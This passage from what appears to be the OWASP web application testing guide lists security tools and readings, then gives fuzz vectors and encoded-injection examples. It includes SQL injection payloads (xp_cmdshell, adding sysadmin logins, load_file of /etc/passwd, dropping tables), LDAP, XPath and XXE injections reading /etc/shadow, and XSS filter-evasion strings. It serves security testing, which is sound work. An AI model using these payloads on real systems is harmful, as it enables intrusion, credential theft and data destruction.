- Armorize CodeSecure - http://www.armorize.com/index.php?link_id=codesecure
- Parasoft C/C++ test - <http://www.parasoft.com/jsp/products/cpptest.jsp/index.htm>
- Checkmarx CxSuite - <http://www.checkmarx.com>
- HP Fortify - <http://www.hpenterprisesecurity.com/products/hp-fortify-software-security-center/hp-fortify-static-code->

analyzer

- GrammaTech - <http://www.grammatech.com>
- ITS4 - <http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html>
- Appscan - <http://www-01.ibm.com/software/rational/products/appscan/source/>
- ParaSoft - <http://www.parasoft.com>
- Virtual Forge CodeProfiler for ABAP - <http://www.virtualforge.de>
- Veracode - <http://www.veracode.com>
- Armorize CodeSecure - <http://www.armorize.com/codesecure/>

Acceptance Testing Tools

Acceptance testing tools are used to validate the functionality of web applications. Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases. Most, if not all, can be adapted to perform security specific tests in addition to functional tests.

Open Source Tools

- WATIR - <http://wtr.rubyforge.org>
 - A Ruby based web testing framework that provides an interface into Internet Explorer.
 - Windows only.
- HtmlUnit - <http://htmlunit.sourceforge.net>
 - A Java and JUnit based framework that uses the Apache HttpClient as the transport.
 - Very robust and configurable and is used as the engine for a number of other testing tools.
- jWebUnit - <http://jwebunit.sourceforge.net>
 - A Java based meta-framework that uses htmlunit or selenium as the testing engine.
- Canoo Webtest - <http://webtest.canoo.com>
 - An XML based testing tool that provides a facade on top of htmlunit.
 - No coding is necessary as the tests are completely specified in XML.
 - There is the option of scripting some elements in Groovy if XML does not suffice.
 - Very actively maintained.
- HttpUnit - <http://httpunit.sourceforge.net>
 - One of the first web testing frameworks, suffers from using the native JDK provided HTTP transport, which can be a bit limiting for security testing.
- Watij - <http://watij.com>
 - A Java implementation of WATIR.
 - Windows only because it uses IE for its tests (Mozilla integration is in the works).
- Solex - <http://solex.sourceforge.net>
 - An Eclipse plugin that provides a graphical tool to record HTTP sessions and make assertions based on the results.
- Selenium - <http://seleniumhq.org/>
 - JavaScript based testing framework, cross-platform and provides a GUI for creating tests.
 - Mature and popular tool, but the use of JavaScript could hamper certain security tests.

Other Tools

Runtime Analysis

- Rational PurifyPlus - <http://www-01.ibm.com/software/awdtools/purify/>
- Seeker by Quotium - <http://www.quotium.com/prod/security.php>

Binary Analysis

- BugScam IDC Package - <http://sourceforge.net/projects/bugscam>

- Veracode - <http://www.veracode.com>

Requirements Management

- Rational Requisite Pro - <http://www-306.ibm.com/software/awdtools/reqpro>

Site Mirroring

- wget - <http://www.gnu.org/software/wget>, <http://www.interlog.com/~tcharron/wgetwin.html>
- curl - <http://curl.haxx.se>
- Sam Spade - <http://www.samspade.org>
- Xenu's Link Sleuth - <http://home.snafu.de/tilman/xenulink.html>

Appendix B: Suggested Reading

Whitepapers

- The Economic Impacts of Inadequate Infrastructure for Software Testing - <http://www.nist.gov/director/planning/upload/report02-3.pdf>
- Improving Web Application Security: Threats and Countermeasures- <http://msdn.microsoft.com/en-us/library/ff649874.aspx>
- NIST Publications - <http://csrc.nist.gov/publications/PubsSPs.html>
- The Open Web Application Security Project (OWASP) Guide Project - https://www.owasp.org/index.php/Category:OWASP_Guide_Project
- Security Considerations in the System Development Life Cycle (NIST) - http://www.nist.gov/customcf/get_pdf.cfm?pub_id=890097
- The Security of Applications: Not All Are Created Equal - http://www.securitymanagement.com/archive/library/atstake_tech0502.pdf
- Software Assurance: An Overview of Current Practices - http://www.safecode.org/publications/SAFECode_BestPractices0208.pdf
- Software Security Testing: Software Assurance Pocket guide Series: Development, Volume III - https://buildsecurityin.us-cert.gov/swa/downloads/SoftwareSecurityTesting_PocketGuide_1%200_05182012_PostOnline.pdf
- Use Cases: Just the FAQs and Answers – http://www.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf
- *Web Application Security is Not an Oxy-Moron*, by Mark Curphey(broken link) - http://www.s bq.com/s bq/app_security/index.html
- *The Security of Applications Reloaded*(broken link) - http://www.atstake.com/research/reports/acrobat/atstake_app_reloaded.pdf

Books

- The Art of Software Security Testing: Identifying Software Security Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin, published by Addison-Wesley, ISBN 0321304861 (2006)
- Building Secure Software: How to Avoid Security Problems the Right Way, by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002) - <http://www.buildingsecuresoftware.com>
- The Ethical Hack: A Framework for Business Value Penetration Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X (2005)
 - Online version available at: http://books.google.com/books?id=fwASXKXOoIEC&printsec=frontcover&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false
- Exploiting Software: How to Break Code, by Gary McGraw and Greg Hogg, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004) -<http://www.exploitingsoftware.com>

- The Hacker's Handbook: The Strategy behind Breaking into and Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications, ISBN: 0849308887 (2005)
 - Online version available at: http://books.google.com/books?id=AO2fsAPVC34C&printsec=frontcover&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false
- Hacking Exposed: Web Applications 3, by Joel Scambray, Vincent Liu, Caleb Sima, published by McGraw-Hill Osborne Media, ISBN 007222438X (2010) - <http://www.webhackingexposed.com/>
- The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws, 2nd Edition - published by Dafydd Stuttard, Marcus Pinto, ISBN 9781118026472 (2011)
- How to Break Software Security, by James Whittaker, Herbert H. Thompson, published by Addison Wesley, ISBN 0321194330 (2003)
- How to Break Software: Functional and Security Testing of Web Applications and Web Services, by Make Andrews, James A. Whittaker, published by Pearson Education Inc., ISBN 0321369440 (2006)
- Innocent Code: A Security Wake-Up Call for Web Programmers, by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004) - <http://innocentcode.thathost.com>
 - Online version available at: http://books.google.com/books?id=RjVjgPQsKogC&printsec=frontcover&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false
- Mastering the Requirements Process, by Suzanne Robertson and James Robertson, published by Addison-Wesley Professional, ISBN 0201360462
 - Online version available at: http://books.google.com/books?id=SN4WegDHVCC&printsec=frontcover&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false
- Secure Coding: Principles and Practices, by Mark Graff and Kenneth R. Van Wyk, published by O'Reilly, ISBN 0596002424 (2003) - <http://www.securecoding.org>
- Secure Programming for Linux and Unix HOWTO, David Wheeler (2004) <http://www.dwheeler.com/secure-programs>
 - Online version: <http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html>
- Securing Java, by Gary McGraw, Edward W. Felten, published by Wiley, ISBN 047131952X (1999) - <http://www.securingsjava.com>
- Software Security: Building Security In, by Gary McGraw, published by Addison-Wesley Professional, ISBN 0321356705 (2006)
- Software Testing In The Real World (Acm Press Books) by Edward Kit, published by Addison-Wesley Professional, ISBN 0201877562 (1995)
- Software Testing Techniques, 2nd Edition, By Boris Beizer, International Thomson Computer Press, ISBN 0442206720 (1990)
- The Tangled Web: A Guide to Securing Modern Web Applications, by Michael Zalewski, published by No Starch Press Inc., ISBN 047131952X (2011)
- The Unified Modeling Language – A User Guide – by Grady Booch, James Rumbaugh, Ivar Jacobson, published by Addison-Wesley Professional, ISBN 0321267974 (2005)
- The Unified Modeling Language User Guide, by Grady Booch, James Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN 0-201-57168-4 (1998)
- Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast, by Paco Hope, Ben Walther,

published by O'Reilly, ISBN 0596514832 (2008)

- Writing Secure Code, by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN 0735617228 (2004)
<http://www.microsoft.com/learning/en/us/book.aspx?ID=5957&locale=en-us>

Useful Websites

- Build Security In - <https://buildsecurityin.us-cert.gov/bsi/home.html>
- Build Security In – Security-Specific Bibliography - <https://buildsecurityin.us-cert.gov/bsi/articles/best-practices/measurement/1070-BSI.html>
- CERT Secure Coding - <http://www.cert.org/secure-coding/>
- CERT Secure Coding Standards-
<https://www.securecoding.cert.org/confluence/display/seccode/CERT+Secure+Coding+Standards>
- Exploit and Vulnerability Databases - <https://buildsecurityin.us-cert.gov/swa/database.html>
- Google Code University – Web Security - <http://code.google.com/edu/security/index.html>
- McAfee Foundstone Publications - <http://www.mcafee.com/apps/view-all/publications.aspx?tf=foundstone&sz=10>
- McAfee – Resources Library - <http://www.mcafee.com/apps/resource-library-search.aspx?region=us>
- McAfee Free Tools - <http://www.mcafee.com/us/downloads/free-tools/index.aspx>
- OASIS Web Application Security (WAS) TC — http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was
- Open Source Software Testing Tools - <http://www.opensourcetesting.org/security.php>
- OWASP Security Blitz - https://www.owasp.org/index.php/OWASP_Security_Blitz
- OWASP Phoenix/Tool - <https://www.owasp.org/index.php/Phoenix/Tools>
- SANS Internet Storm Center (ISC) - <https://www.isc.sans.edu>
- The Open Web Application Security Project (OWASP) — <http://www.owasp.org>
- Pentestmonkey - Pen Testing Cheat Sheets - <http://pentestmonkey.net/cheat-sheet>
- Secure Coding Guidelines for the .NET Framework 4.5 - <http://msdn.microsoft.com/en-us/library/8a3x2b7f.aspx>
- Security in the Java platform - <http://docs.oracle.com/javase/6/docs/technotes/guides/security/overview/jsoverview.html>
- System Administration, Networking, and Security Institute (SANS) - <http://www.sans.org>
- Technical INFO – Making Sense of Security - <http://www.technicalinfo.net/index.html>
- Web Application Security Consortium - <http://www.webappsec.org/projects/>
- Web Application Security Scanner List -
<http://projects.webappsec.org/w/page/13246988/Web%20Application%20Security%20Scanner%20List>
- Web Security – Articles - <http://www.acunetix.com/websitesecurity/articles/>

Videos

- OWASP Appsec Tutorial Series - https://www.owasp.org/index.php/OWASP_Appsec_Tutorial_Series
- SecurityTube - <http://www.securitytube.net/>
- Videos by Imperva - <http://www.imperva.com/resources/videos.asp>

Deliberately Insecure Web Applications

- OWASP Vulnerable Web Applications Directory Project - https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project#tab=Main
- BadStore - <http://www.badstore.net/>
- Damn Vulnerable Web App - <http://www.ethicalhack3r.co.uk/damn-vulnerable-web-app/>
- Hacme Series from McAfee:
 - Hacme Travel - <http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx>
 - Hacme Bank - <http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx>
 - Hacme Shipping - <http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx>
 - Hacme Casino - <http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx>
 - Hacme Books - <http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx>
- Moth - <http://www.bonsai-sec.com/en/research/moth.php>
- Mutillidae - <http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10>
- Stanford SecuriBench - <http://suif.stanford.edu/~livshits/securibench/>
- Vicnum - <http://vicnum.sourceforge.net/> and http://www.owasp.org/index.php/Category:OWASP_Vicnum_Project
- WebGoat - http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
- WebMaven (better known as Buggy Bank) - <http://www.mavensecurity.com/WebMaven.php>

Appendix C: Fuzz Vectors

The following are fuzzing vectors which can be used with [WebScarab](#), [JBroFuzz](#), [WSFuzzer](#), [ZAP](#) or another fuzzer. Fuzzing is the "kitchen sink" approach to testing the response of an application to parameter manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing. This is the simple part of the discovery phase. Once an error has been discovered identifying and exploiting a potential vulnerability is where skill is required.

Fuzz Categories

In the case of stateless network protocol fuzzing (like HTTP(S)) two broad categories exist:

- Recursive fuzzing
- Replacive fuzzing

We examine and define each category in the sub-sections that follow.

Recursive fuzzing

Recursive fuzzing can be defined as the process of fuzzing a part of a request by iterating through all the possible combinations of a set alphabet. Consider the case of:

```
http://www.example.com/8302fa3b
```

Selecting "8302fa3b" as a part of the request to be fuzzed against the set hexadecimal alphabet (i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}) falls under the category of recursive fuzzing. This would generate a total of 16^8 requests of the form:

```
http://www.example.com/00000000
...
http://www.example.com/11000fff
...
http://www.example.com/ffffffff
```

Replacive fuzzing

Replacive fuzzing can be defined as the process of fuzzing part of a request by means of replacing it with a set value. This value is known as a fuzz vector. In the case of:

```
http://www.example.com/8302fa3b
```

Testing against Cross Site Scripting (XSS) by sending the following fuzz vectors:

```
http://www.example.com/>"><script>alert("XSS")</script>&
http://www.example.com/'!';!--<XSS>=&{() }
```

This is a form of replacive fuzzing. In this category, the total number of requests is dependent on the number of fuzz vectors specified.

The remainder of this appendix presents a number of fuzz vector categories.


```

%s%p%x%d
.1024d
%.2049d
%p%p%p%p
%x%x%x%x
%d%d%d%d
%s%s%s%s
%9999999999s
%08x
%20d
%20n
%20x
%20s
%s%s%s%s%s%s%s%s
%p%p%p%p%p%p%p%p
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
%s x 129
%x x 257

```

Integer Overflows (INT)

Integer overflow errors occur when a program fails to account for the fact that an arithmetic operation can result in a quantity either greater than a data type's maximum value or less than its minimum value. If a tester can cause the program to perform such a memory allocation, the program can be potentially vulnerable to a buffer overflow attack.

```

-1
0
0x100
0x1000
0x3fffffff
0x7fffffff
0x7fffffff
0x80000000
0xffffffff
0xffffffff
0x10000
0x100000

```

SQL Injection

This attack can affect the database layer of an application and is typically present when user input is not filtered for SQL statements.

For details on Testing SQL Injection: [Testing for SQL Injection](#)

SQL Injection is classified in the following two categories, depending on the exposure of database information (passive) or the alteration of database information (active).

- Passive SQL Injection
- Active SQL Injection

Active SQL Injection statements can have a detrimental effect on the underlying database if successfully executed.

Passive SQL Injection (SQP)

```

'|(e1t(-3+5,bin(15),ord(10),hex(char(45))))
|6
'|6
(|6)
' OR 1=1--
OR 1=1

```



```

' OR '1'='1
; OR '1'='1'
%22+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+
' or 1=1--
" or 1=1--
' or 1=1 /*
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Admin' OR '
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
' having 1=1--
' having 1=1--
' group by userid having 1=1--
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename)--
' or 1 in (select @@version)--
' union all select @@version--
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+ 'thing'
' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' in ('whatever')
' OR 2 BETWEEN 1 and 3
' or username like char(37);
' union select * from users where login = char(114,111,111,116);
' union select
Password:*/=1--
UNI/**/ON SEL/**/ECT
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
'; EXEC ('SEL' + 'ECT US' + 'ER')
'/**/OR/**/1/**/=/**/1
' or 1/*
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+&password=
'; begin declare @var varchar(8000) set @var=: ' select @var=@var+'login+'/'password+' ' from users where login >
@var select @var as var into temp end --<br>
' and 1 in (select var from temp)--
' union select 1,load_file('/etc/passwd'),1,1,1;
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

```

Active SQL Injection (SQI)

```

'; exec master..xp_cmdshell 'ping 10.10.1.2'--
CREATE USER name IDENTIFIED BY 'pass123'
CREATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;
' ; drop table temp --
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))
GRANT CONNECT TO name; GRANT RESOURCE TO name;
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

```

LDAP Injection

For details on LDAP Injection: [Testing for LDAP Injection](#)

```

|
!
(
)
%28
%29
&
%26
%21
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
*()|%26'
admin*
admin*)((|userPassword=*)
*)(uid=*)(|uid=*

```

XPATH Injection

For details on XPATH Injection: [Testing for XPath Injection](#)

```

'+or+'1'='1
'+or+' '=
x'+or+1=1+or+'x'='y
/
//
//*
*/
@*
count(/child::node())
x'+or+name()='username'+or+'x'='y

```

XML Injection

Details on XML Injection here: [Testing for XML Injection](#)

```

<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///c:/boot.ini">]
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]

```

Appendix D: Encoded Injection

Background

Character encoding is the process of mapping characters, numbers and other symbols to a standard format. Typically, this is done to create a message ready for transmission between sender and receiver. It is, in simple terms, the conversion of characters (belonging to different languages like English, Chinese, Greek or any other known language) into bytes. An example of a widely used character encoding scheme is the American Standard Code for Information Interchange (ASCII) that initially used 7-bit codes. More recent examples of encoding schemes would be the Unicode UTF-8 and UTF-16 computing industry standards.

In the space of application security and due to the plethora of encoding schemes available, character encoding has a popular misuse. It is being used for encoding malicious injection strings in a way that obfuscates them. This can lead to the bypass of input validation filters, or take advantage of particular ways in which browsers render encoded text.

Input Encoding – Filter Evasion

Web applications usually employ different types of input filtering mechanisms to limit the input that can be submitted by the user. If these input filters are not implemented sufficiently well, it is possible to slip a character or two through these filters. For instance, a / can be represented as 2F (hex) in ASCII, while the same character (/) is encoded as C0 AF in Unicode (2 byte sequence). Therefore, it is important for the input filtering control to be aware of the encoding scheme used. If the filter is found to be detecting only UTF-8 encoded injections, a different encoding scheme may be employed to bypass this filter.

Output Encoding – Server & Browser Consensus

Web browsers need to be aware of the encoding scheme used to coherently display a web page. Ideally, this information should be provided to the browser in the HTTP header (“Content-Type”) field, as shown below:

```
Content-Type: text/html; charset=UTF-8
```

or through HTML META tag (“META HTTP-EQUIV”), as shown below:

```
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
```

It is through these character encoding declarations that the browser understands which set of characters to use when converting bytes to characters. Note that the content type mentioned in the HTTP header has precedence over the META tag declaration.

CERT describes it here as follows:

Many web pages leave the character encoding (“charset” parameter in HTTP) undefined. In earlier versions of HTML and HTTP, the character encoding was supposed to default to ISO-8859-1 if it wasn't defined. In fact, many browsers had a different default, so it was not possible to rely on the default being ISO-8859-1. HTML version 4 legitimizes this - if the character encoding isn't specified, any character encoding can be used.

If the web server doesn't specify which character encoding is in use, it can't tell which characters are special. Web pages with unspecified character encoding work most of the time because most character sets assign the same characters to byte values below 128. But which of the values above 128 are special? Some 16-bit character-encoding schemes have additional multi-byte representations for special characters such as "<". Some browsers recognize this alternative encoding

and act on it. This is "correct" behavior, but it makes attacks using malicious scripts much harder to prevent. The server simply doesn't know which byte sequences represent the special characters

Therefore in the event of not receiving the character encoding information from the server, the browser either attempts to 'guess' the encoding scheme or reverts to a default scheme. In some cases, the user explicitly sets the default encoding in the browser to a different scheme. Any such mismatch in the encoding scheme used by the web page (server) and the browser may cause the browser to interpret the page in a manner that is unintended or unexpected.

Encoded Injections

All the scenarios given below form only a subset of the various ways obfuscation can be achieved to bypass input filters. Also, the success of encoded injections depends on the browser in use. For example, US-ASCII encoded injections were previously successful only in IE browser but not in Firefox. Therefore, it may be noted that encoded injections, to a large extent, are browser dependent.

Basic Encoding

Consider a basic input validation filter that protects against injection of single quote character. In this case the following injection would easily bypass this filter:

```
<SCRIPT>alert(String.fromCharCode(88, 83, 83))</SCRIPT>
```

String.fromCharCode Javascript function takes the given Unicode values and returns the corresponding string. This is one of the most basic forms of encoded injections. Another vector that can be used to bypass this filter is:

```
<IMG SRC=javascript:alert(&quot ;XSS&quot ;)>
<IMG SRC=javascript:alert(&#34 ;XSS&#34 ;) > (Numeric reference)
```

The above uses HTML Entities to construct the injection string. HTML Entities encoding is used to display characters that have a special meaning in HTML. For instance, `>` works as a closing bracket for a HTML tag. In order to actually display this character on the web page HTML character entities should be inserted in the page source. The injections mentioned above are one way of encoding. There are numerous other ways in which a string can be encoded (obfuscated) in order to bypass the above filter.

Hex Encoding

Hex, short for Hexadecimal, is a base 16 numbering system i.e it has 16 different values from 0 to 9 and A to F to represent various characters. Hex encoding is another form of obfuscation that is sometimes used to bypass input validation filters.

For instance, hex encoded version of the string `` is

```
<IMG SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%27%58%53%53%27%29>
```

A variation of the above string is given below. Can be used in case `%` is being filtered:

```
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

There are other encoding schemes, such as Base64 and Octal, that may be used for obfuscation. Although, every encoding scheme may not work every time, a bit of trial and error coupled with intelligent manipulations would definitely

reveal the loophole in a weakly built input validation filter.

UTF-7 Encoding

UTF-7 encoding of `<SCRIPT>alert('XSS');</SCRIPT>` is as below

```
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
```

For the above script to work, the browser has to interpret the web page as encoded in UTF-7.

Multi-byte Encoding

Variable-width encoding is another type of character encoding scheme that uses codes of varying lengths to encode characters. Multi-Byte Encoding is a type of variable-width encoding that uses varying number of bytes to represent a character. Multi-byte encoding is primarily used to encode characters that belong to a large character set e.g. Chinese, Japanese and Korean.

Multibyte encoding has been used in the past to bypass standard input validation functions and carry out cross site scripting and SQL injection attacks.

References

[http://en.wikipedia.org/wiki/Encode_\(semiotics\)](http://en.wikipedia.org/wiki/Encode_(semiotics))

<http://ha.ckers.org/xss.html>

http://www.cert.org/tech_tips/malicious_code_mitigation.html

http://www.w3schools.com/HTML/html_entities.asp

http://www.iss.net/security_center/advice/Intrusions/2000639/default.htm

http://searchsecurity.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid14_gci1212217_tax299989,00.html

<http://www.joelonsoftware.com/articles/Unicode.html>